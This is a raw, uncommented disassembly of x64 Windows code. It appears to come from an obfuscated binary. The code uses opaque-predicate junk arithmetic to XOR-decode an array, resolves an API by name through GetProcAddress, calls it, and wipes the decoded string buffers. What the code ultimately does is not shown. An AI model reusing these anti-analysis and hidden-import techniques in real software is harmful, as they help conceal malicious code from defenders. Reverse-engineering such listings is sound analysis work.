mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x12c0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x12c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12c4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x12c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12c8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x12c8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002f1b6
mov dword [rsp + 0x18c], 0
jmp 0x14002f078
cmp dword [rsp + 0x18c], 4
jae 0x14002f1b1
cvtsi2sd xmm0, dword [rsp + 0x18c]
movsd xmm1, qword [rsp + 0x3b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a70], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a70]
ucomisd xmm1, xmm0
jp 0x14002f0f3
jne 0x14002f0f3
mov eax, dword [rsp + 0x18c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3b8], xmm0
jmp 0x14002ef72
cvtsi2sd xmm0, dword [rsp + 0x18c]
movsd xmm1, qword [rsp + 0x3b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a78], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a78]
ucomisd xmm1, xmm0
jp 0x14002f15b
jne 0x14002f15b
mov eax, dword [rsp + 0x18c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3b8], xmm0
jmp 0x14002f171
xor eax, eax
test eax, eax
je 0x14002f16d
jmp 0x14002f258
jmp 0x14002f19a
cvtsi2sd xmm0, dword [rsp + 0x18c]
movsd xmm1, qword [rsp + 0x3b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x560], eax
jmp 0x14002f263
xor eax, eax
cmp eax, 1
je 0x14002f1a7
jmp 0x14002f1b6
jmp 0x14002ef72
jmp 0x14002ef72
xor eax, eax
cmp eax, 1
je 0x14002f258
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x12cc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x12cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12d4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x12d0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x12d0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x12d4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x560], eax
jmp 0x14002f263
mov dword [rsp + 0x560], 1
movsxd rax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x1e8]
mov edx, dword [rsp + 0x560]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x1e8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x7c]
sub eax, 0x68
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3c0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x12d8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x12d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12e0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x12dc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x12dc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x12e0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002f505
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x12e4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x12e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12e8], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x12e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12ec], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x12ec]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002f505
mov dword [rsp + 0x190], 0
jmp 0x14002f3c7
cmp dword [rsp + 0x190], 4
jae 0x14002f500
cvtsi2sd xmm0, dword [rsp + 0x190]
movsd xmm1, qword [rsp + 0x3c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a80], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a80]
ucomisd xmm1, xmm0
jp 0x14002f442
jne 0x14002f442
mov eax, dword [rsp + 0x190]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3c0], xmm0
jmp 0x14002f2c1
cvtsi2sd xmm0, dword [rsp + 0x190]
movsd xmm1, qword [rsp + 0x3c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a88], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a88]
ucomisd xmm1, xmm0
jp 0x14002f4aa
jne 0x14002f4aa
mov eax, dword [rsp + 0x190]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3c0], xmm0
jmp 0x14002f4c0
xor eax, eax
test eax, eax
je 0x14002f4bc
jmp 0x14002f5a7
jmp 0x14002f4e9
cvtsi2sd xmm0, dword [rsp + 0x190]
movsd xmm1, qword [rsp + 0x3c0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x564], eax
jmp 0x14002f5b2
xor eax, eax
cmp eax, 1
je 0x14002f4f6
jmp 0x14002f505
jmp 0x14002f2c1
jmp 0x14002f2c1
xor eax, eax
cmp eax, 1
je 0x14002f5a7
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x12f0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x12f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12f8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x12f4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x12f4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x12f8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x564], eax
jmp 0x14002f5b2
mov dword [rsp + 0x564], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x7c]
sub eax, 0x68
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3c8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x12fc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x12fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1304], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1300], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1300]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1304]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002f82b
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1308], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1308]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x130c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x130c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1310], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1310]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002f82b
mov dword [rsp + 0x194], 0
jmp 0x14002f6ed
cmp dword [rsp + 0x194], 4
jae 0x14002f826
cvtsi2sd xmm0, dword [rsp + 0x194]
movsd xmm1, qword [rsp + 0x3c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a90], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a90]
ucomisd xmm1, xmm0
jp 0x14002f768
jne 0x14002f768
mov eax, dword [rsp + 0x194]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3c8], xmm0
jmp 0x14002f5e7
cvtsi2sd xmm0, dword [rsp + 0x194]
movsd xmm1, qword [rsp + 0x3c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a98], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a98]
ucomisd xmm1, xmm0
jp 0x14002f7d0
jne 0x14002f7d0
mov eax, dword [rsp + 0x194]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3c8], xmm0
jmp 0x14002f7e6
xor eax, eax
test eax, eax
je 0x14002f7e2
jmp 0x14002f8cd
jmp 0x14002f80f
cvtsi2sd xmm0, dword [rsp + 0x194]
movsd xmm1, qword [rsp + 0x3c8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x568], eax
jmp 0x14002f8d8
xor eax, eax
cmp eax, 1
je 0x14002f81c
jmp 0x14002f82b
jmp 0x14002f5e7
jmp 0x14002f5e7
xor eax, eax
cmp eax, 1
je 0x14002f8cd
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1314], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1314]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x131c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1318], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1318]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x131c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x568], eax
jmp 0x14002f8d8
mov dword [rsp + 0x568], 1
movsxd rax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x1e8]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x564]
movsxd rcx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x1e8]
mov edi, dword [rsp + 0x568]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x1e8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1320], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1320]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1324], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1324]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1328], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1328]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002fcd6
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108318]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3d0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x132c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x132c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1334], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1330], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1330]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1334]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002fc00
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1338], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1338]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x133c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x133c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1340], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1340]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002fc00
mov dword [rsp + 0x198], 0
jmp 0x14002fac2
cmp dword [rsp + 0x198], 4
jae 0x14002fbfb
cvtsi2sd xmm0, dword [rsp + 0x198]
movsd xmm1, qword [rsp + 0x3d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1aa0], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1aa0]
ucomisd xmm1, xmm0
jp 0x14002fb3d
jne 0x14002fb3d
mov eax, dword [rsp + 0x198]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3d0], xmm0
jmp 0x14002f9bc
cvtsi2sd xmm0, dword [rsp + 0x198]
movsd xmm1, qword [rsp + 0x3d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1aa8], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1aa8]
ucomisd xmm1, xmm0
jp 0x14002fba5
jne 0x14002fba5
mov eax, dword [rsp + 0x198]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3d0], xmm0
jmp 0x14002fbbb
xor eax, eax
test eax, eax
je 0x14002fbb7
jmp 0x14002fca2
jmp 0x14002fbe4
cvtsi2sd xmm0, dword [rsp + 0x198]
movsd xmm1, qword [rsp + 0x3d0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x56c], eax
jmp 0x14002fcad
xor eax, eax
cmp eax, 1
je 0x14002fbf1
jmp 0x14002fc00
jmp 0x14002f9bc
jmp 0x14002f9bc
xor eax, eax
cmp eax, 1
je 0x14002fca2
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1344], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1344]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x134c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1348], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1348]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x134c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3d0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x56c], eax
jmp 0x14002fcad
mov dword [rsp + 0x56c], 1
movsxd rax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x1e8]
mov edx, dword [rsp + 0x56c]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x1e8]
mov dword [rdx + rcx*4], eax
jmp 0x14002e6cb
mov rax, qword [rsp + 0x760]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x760]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x1350], eax
lea rax, [rsp + 0x1ac8]
mov ecx, dword [rsp + 0x1350]
mov qword [rsp + 0x1ab0], rcx
lea rdx, [0x140132f30]
mov rcx, rax
mov rax, qword [rsp + 0x1ab0]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1ab8], rax
mov rcx, qword [rsp + 0x770]
call qword [rsp + 0x1ab8]
mov dword [rsp + 0x658], 0x56b5
mov dword [rsp + 0x1354], 0x441a
mov dword [rsp + 0x1358], 0x4acc
mov eax, dword [rsp + 0x1354]
mov dword [rsp + 0x658], eax
cmp dword [rsp + 0x658], 0
je 0x14002fd9a
mov dword [rsp + 0x1358], 0x3545
mov dword [rsp + 0x28c], 0
jmp 0x14002fdb7
mov eax, dword [rsp + 0x28c]
inc eax
mov dword [rsp + 0x28c], eax
cmp dword [rsp + 0x28c], 0xd
jge 0x14002fdd5
movsxd rax, dword [rsp + 0x28c]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1ac8], cx
jmp 0x14002fda7
mov dword [rsp + 0x65c], 0x56b5
mov dword [rsp + 0x135c], 0x441a
mov dword [rsp + 0x1360], 0x4acc
mov eax, dword [rsp + 0x135c]
mov dword [rsp + 0x65c], eax
cmp dword [rsp + 0x65c], 0
je 0x14002fe19
mov dword [rsp + 0x1360], 0x3545
mov dword [rsp + 0x290], 0
jmp 0x14002fe36
mov eax, dword [rsp + 0x290]
inc eax
mov dword [rsp + 0x290], eax
cmp dword [rsp + 0x290], 0x13
jge 0x14002fe54
movsxd rax, dword [rsp + 0x290]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1bb8], cx
jmp 0x14002fe26
mov dword [rsp + 0x660], 0x56b5
mov dword [rsp + 0x1364], 0x441a
mov dword [rsp + 0x1368], 0x4acc
mov eax, dword [rsp + 0x1364]
mov dword [rsp + 0x660], eax
cmp dword [rsp + 0x660], 0
je 0x14002fe98
mov dword [rsp + 0x1368], 0x3545
mov dword [rsp + 0x294], 0
jmp 0x14002feb5
mov eax, dword [rsp + 0x294]
inc eax
mov dword [rsp + 0x294], eax
cmp dword [rsp + 0x294], 0xd
jge 0x14002fed3
movsxd rax, dword [rsp + 0x294]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1ae8], cx
jmp 0x14002fea5
mov al, 1
add rsp, 0x24b8
pop rdi
pop rsi
ret